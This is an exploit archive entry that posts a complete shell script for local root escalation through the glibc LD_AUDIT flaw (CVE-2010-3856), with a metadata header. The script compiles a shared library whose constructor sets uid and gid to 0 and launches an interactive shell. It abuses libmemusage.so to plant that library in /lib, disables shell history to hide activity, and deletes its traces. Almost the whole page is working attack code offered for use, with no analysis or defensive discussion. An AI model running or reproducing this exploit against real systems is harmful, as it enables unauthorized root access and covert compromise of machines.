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GNU libc 2.12.1 LD_AUDIT libmemusage.so Local Root

GNU libc 2.12.1 LD_AUDIT libmemusage.so Local Root
Posted Nov 6, 2014
Authored by Saeid Bostandoust

GNU libc versions 2.12.1 and below LD_AUDIT libmemusage.so local root exploit.

tags | exploit, local, root
advisories | CVE-2010-3856
SHA-256 | b0f0cc6fe6c822efac1097b42f5743176fc7620d8aed638fb40cc3cbfc95d1e5

GNU libc 2.12.1 LD_AUDIT libmemusage.so Local Root

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#!/bin/sh

# Exploit Title: GNU libc <= 2.12.1 LD_AUDIT Root Exploit
# Date: 05/11/2014
# Exploit Author: ssbostan
# Vendor Homepage: http://www.gnu.org/software/libc/
# Software Link: http://ftp.gnu.org/gnu/glibc/
# Version: <= 2.12.1
# Tested on: Ubuntu 8.04
# CVE: http://www.cvedetails.com/cve/CVE-2010-3856/

umask 0
cat > /tmp/libxpl.c << EOF
__attribute__((constructor)) void init()
{
setuid(0);
setgid(0);
unlink("/lib/libxpl.so");
setenv("HISTFILE", "/dev/null", 1);
execl("/bin/sh", "/bin/sh", "-i", 0);
}
EOF
gcc -w -fPIC -shared -o /tmp/libxpl.so /tmp/libxpl.c
LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="/lib/libxpl.so" ping 2>/dev/null
cat /tmp/libxpl.so > /lib/libxpl.so
rm -rf /tmp/libxpl.c /tmp/libxpl.so
LD_AUDIT="libxpl.so" ping
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